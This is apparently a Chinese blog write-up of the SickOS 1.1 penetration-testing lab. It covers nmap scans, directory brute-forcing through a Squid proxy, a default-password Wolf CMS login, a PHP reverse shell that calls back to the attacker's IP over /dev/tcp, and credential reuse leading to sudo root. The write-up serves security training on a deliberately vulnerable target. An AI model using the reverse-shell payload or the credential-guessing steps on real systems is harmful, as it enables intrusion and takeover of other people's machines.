红队靶机渗透-SickOS1.1

1.信息收集

1.1  主机发现

nmap -sn 192.168.197.0/24,目标IP地址为192.168.197.157

1.2  端口扫描

nmap --min-rate 10000 -p- 192.168.197.157,可以看到开放了两个端口22,3128

TCP扫描

nmap -sT -sV -sC -O -p22,3128 192.168.197.157

UDP扫描

nmap -sU --top-ports 20 192.168.197.157

nmap漏洞脚本扫描

nmap --script=vuln -p22,3128,8080 192.168.197.157

3. 攻击面分析

22 端口很少成为我们直接攻击的点,往往是拿到凭据再进行登录,很少情况直接对 22 端口进行暴力破解

3128 端口显示是一个 Squid 代理服务应用

8080 端口是关闭的,扫描结果显示它也是一个代理

访问 3128 端口,页面出现报错信息,看到它是运行了 squid 代理服务

Squid是一个支持HTTP,HTTPS,FTP等服务的Web缓存代理软件,它可以通过缓存页面来提高服务器的相应速度并降低带宽占用。并且,Squid还具有强大的访问控制功能。Squid可以运行在各种操作系统平台上。
Squid会将访问页面的结果缓存在硬盘和内存上。所以Squid对硬盘和内存的空间大小具有较高的要求。内存和硬盘越大,缓存的命中率就越高。但是真实服务器数据是实时更新的,因此,我们就需要不定期的清空缓存数据以保证用户访问结果的准确性。
Squid 将数据元缓存在内存和硬盘中,同时也缓存 DNS 查询的结果。Squid 支持 SSL,支持访问控制。由于使用了 ICP(轻量 Internet 缓存协议),Squid 能够实现层叠的代理阵列,从而最大限度的节约带宽。
Squid Cache(简称 Squid)是一个流行的代理服务器和 Web 缓存服务器软件。Squid 可以做正向代理,也可以做反向代理。

3128 端口页面及源码未发现有效信息,因此进行目录爆破,进一步寻找立足点

dirb http://192.168.197.157
gobuster dir -u http://192.168.197.157 --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt 
dirb和gobuster都没有扫出有效目录,可能是因为代理或WAF阻断了我们的扫描

以 192.168.197.157:3128 做为代理再次尝试目录爆破,发现是可以扫描的,并且爆出了几个高价值目录

浏览器设置代理为 192.168.197.157:3128,以此访问到它的 WEB 页面

访问 robots 文件暴露出 wolfcms 信息

渗透测试过程中,看到一个 CMS,首先想到的就是管理路径在哪,能否登录进去

通过公开信息搜索得知 wolfcms 的登录页面为 /wolfcms/?admin

针对登录密码可以采取暴力破解,默认账户密码;在这之前所有渗透测试人员还应该具备的一个素质就是对弱密码的尝试,如 admin/admin、admin/password、admin/admin123、admin/admin888  admin/123456 等

这里通过公开信息查找 wolfcms 默认用户名为 admin,尝试弱口令 admin/admin 进入管理后台

wolfcms 后台暴露出的攻击面:

1. 多处可以执行 php 代码

2. 存在文件上传点

3. 可以修改文件权限

这里在Articles执行一段PHP反弹shell脚本,同时kali开启监听
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.197.132/7777 0>&1'"); ?>

反弹回来的是一个 www-data 的 shell

4. 提权

查看配置文件 config.php,得到数据库的用户名和密码为 root/john@123

www-data@SickOs:/var/www/wolfcms$ cat config.php
cat config.php
<?php
// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo
// Database settings:
 
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
 
// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);
 
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
 
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
 
// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);
 
// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');

cat /etc/passwd 查看系统存在哪些用户

尝试使用 config.php 里的凭据 ssh 这些用户,经过反复尝试 sickos/john@123 成功登录,并且 sudo -l 显示拥有全部权限,相当于 root 用户

sudo 开启一个 bash 得到 root 权限,这台机器渗透测试完成!

5. 总结

主机发现之后,分别用nmap的TCP和UDP扫描发现三个端口,8080存疑,未开放端口,3128是一个squid代理服务器,22 SSH端口
8080无法访问;3128提示报错信息,目录爆破也没有任何信息,由于它是代理服务器,因此以3128端口做代理进行目录扫描,得到了新的有价值web目录
通过在浏览器上把3128设置为代理服务器,访问到了靶机的web页面,看到了wolfcms内容管理系统,通过搜索公开信息得知了它的管理页面路径,并且弱口令进入了管理后台
利用Articals页面可以执行php代码的特性,我们写入了php反弹shell脚本,kali接收到了www-data的shell
在config.php文件中找到一个登录凭据,结合/etc/passwd的用户信息,利用凭据不断尝试,发现可以ssh登录sickos账户,sudo -l显示此用户具有全部权限,sudo启用一个新的bash就获得了root权限。
  • 25
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值